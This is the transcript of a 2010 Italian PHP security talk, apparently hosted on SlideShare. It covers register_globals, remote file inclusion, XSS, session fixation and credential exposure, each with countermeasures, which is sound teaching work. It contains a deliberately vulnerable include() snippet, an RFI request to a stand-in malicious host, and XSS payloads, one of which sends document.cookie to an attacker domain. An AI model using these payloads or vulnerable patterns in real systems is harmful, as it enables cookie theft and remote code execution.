Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Upcoming SlideShare
Loading in...5
×

Like this? Share it with your network

Share

Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.

  • 230 views
Uploaded on

Presentazione fatta presso Ce.Se.N.A. (http://cesena.ing2.unibo.it) giugno 2010

Presentazione fatta presso Ce.Se.N.A. (http://cesena.ing2.unibo.it) giugno 2010

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
230
On Slideshare
229
From Embeds
1
Number of Embeds
1

Actions

Shares
Downloads
1
Comments
0
Likes
0

Embeds 1

http://www.docseek.net 1

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Php SecurityIng. Stefano Bianchini 16 giugno 2010
  • 2. Il php e la sicurezza● La percentuale di software non sicuro scritto in PHP, sul totale di tutte le falle nei software elencate dal Common Vulnerabilities and Exposures, ammontava al: 12% nel 2003, 20% nel 2004, 28% nel 2005, 43% nel 2006, 36% nel 2007 e 33,8% nel primo trimestre del 2008.● Le falle più comuni sono dovute al mancato adempimento delle best practice nella programmazione e da vulnerabilità presenti in codice scritto in versioni vecchie di PHP. (fonte: Wikipedia)
  • 3. La direttiva register_globals● Nel Php di base le variabili superglobali (per intenderci, quelle relative a parametri GET, POST, sessioni e cookies) devono essere richiamate mediante appostiti array ($_GET[] eccetera)● Nelle vecchie versioni, oppure settando nel php.ini la direttiva register_globals=on non cè differenza tra $_GET[pluto] e $pluto● Problemi anche con variabili non inizializzate
  • 4. Register globals (2)<?//come si legge una variabile "particolare" adessoecho $_POST["nomevariabile"];//come la si leggeva prima (o con le RG settate ad ON)echo $nomevariabile;?><!-- Il form Html --><FORM METHOD="post" action="<?=$PHPSELF?>"><input type="text" name="nomevariabile" /></FORM><?if ($password==$passwordgiusta) {setcookie("autenticato","true");}//... ...//Pensavo di leggere il contenuto del cookie//Ma se un intruso chiama pagina.php?autenticato=true ...//Purtroppo il sistema legge $autenticato come true!!!if ($autenticato) {//posso fare qualsiasi cosa}else {//non posso fare niente}?>If the deprecated register_globals directive is on, then variables_order alsoconfigures the order the ENV, GET, POST, COOKIE and SERVER variables arepopulated in global scope.
  • 5. Remote file include● Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di tempo per il programmatore e un aumento di velocità nell’esecuzione del codice.● Linclusione è molto usata nei software multilingua o strutturati a moduli, in cui il file principale (solitamente index.php) richiama, includendoli, i vari moduli del sistema.● Se si lascia troppa libertà di inclusione si va incontro a enormi falle di sicurezza
  • 6. Remote file include (2) <?php //ipotizziamo ad esempio, pagina.php?lang=it //oppure pagina.php?lang=en include($_GET["lang"]."php"); //lang = en -> include("en.php"); //lang = it -> include("it.php"); ?> GET pagina.php?lang=http://sitocattivo.com/script -> include(http://sitocattivo.com/script.php);É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF”per disabilitare la possibilità di includere script remoti (cioè non appartenenti alwebserver su cui si sta programmando).
  • 7. Spoofed Form Submissions
  • 8. Filtraggio dellinput● Diventa fondamentale in Php tenere sotto controllo tutti i parametri che il client passa al server (siano essi POST, GET, COOKIES)● Bisogna controllare che ogni variabile sia quello che ci aspettiamo● Inizializzare sempre tutte le variabili● Utilizzare strutture come switch...case o funzioni specifiche come is_numeric e la famiglia ctype_
  • 9. Filtraggio dellinput (2)● http://www.php.net/manual/en/ref.ctype.php
  • 10. Filtraggio dellinput (3)● Escaping con funzioni esistenti ● Per linterazione con i database (ad es. Mysql, funzione mysql_real_escape_string()) ● Per filtrare codice html (htmlentities(), http://php.net/manual/en/function.htmlentities.ph )● Escaping personalizzati ● http://php.net/manual/en/function.str- replace.php
  • 11. Exposed Source Code● Attenzione alle inclusioni di files (spesso librerie) con estensione .inc● Estensioni diverse da .php possono essere inviate dal server direttamente al browser senza essere interpretate● Soluzioni: ● Usare sempre lestensione php ● Modificare il file di configurazione del web server ● Posizionare i file .inc fuori dalla root directory del web server
  • 12. XSS● Inserire codice arbitrario lato client (spesso Javascript)● Alcuni esempi: ● <IMG SRC="javascript:alert(XSS);"> ● <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> ● <script>location.href=www.cattivo.org? d=+document.cookies</script>
  • 13. PHPIDS● Esistono gli Intrusion Detection System che ci aiutano a contrastare gli attacchi alle reti ed ai server● E per il Php? PHPIDS è una libreria Php facilmente integrabile che rileva i tentativi di attacco, basata sul punteggio, chiamato “impatto”● Currently the PHPIDS detects all sorts of XSS, SQL Injection, header injection, directory traversal, RFE/LFI, DoS and LDAP attacks.● http://demo.php-ids.org/
  • 14. Session securityOgni sessione che inizializiamo nelle applicazioni web vienericonosciuta tramite il session id:Solitamente questo session id viene propagato dicomunicazione in comunicazione (browser/server) in 2 modi:● via URL (variabile GET con nome PHPSESSID)● via COOKIE (di nome PHPSESSID)Esistono tre modalità, da parte di un attaccante, per ottenere unsession id valido:● Fixation (lattaccante impone un sessid che la vittima utilizza)● Prediction (si tenta di indovinare un sessid valido)● Hijacking (si intercetta il sessid)
  • 15. Session security (2)● Esempio fixation: setcookie(“PHPSESSID”,“id_conosciuto”,time() +3600,“/”, “www.example.com”)● Contromisure Fixation ● session_regenerate_id()● Contromisure prediction e Hijacking ● Utilizzo di “token” personalizzati ● Cifratura della connessione (https)
  • 16. Exposed Access CredentialsSolitamente si usa...<?php$host = example.org;$username = myuser;$password = mypass;$db = mysql_connect($host, $username, $password);?>Soluzione 1 (Apache)<Files ~ ".inc$"> Order allow,deny Deny from all</Files>
  • 17. Esposed Access Credentials (2)Soluzione 3Create a file, /path/to/secret-stuff, that only root can read (not nobody):SetEnv DB_USER "myuser"SetEnv DB_PASS "mypass"Include this file within httpd.conf as follows:Include "/path/to/secret-stuff"Now you can use $_SERVER[DB_USER] and $_SERVER[DB_PASS] in yourcode. Not only do you never have to write your username and password in anyof your scripts, the web server cant read the secret-stuff file, so no other userscan write scripts to read your access credentials (regardless of language). Justbe careful not to expose these variables with something like phpinfo() orprint_r($_SERVER).
  • 18. Fonti● http://ha.ckers.org/xss.html● http://en.wikipedia.org/wiki/Cross-site_scripting● http://phpsec.org/projects/guide/● http://php-ids.org/● http://www.php.net
  • 19. <?phpsanitize($_REQUEST[domande])?>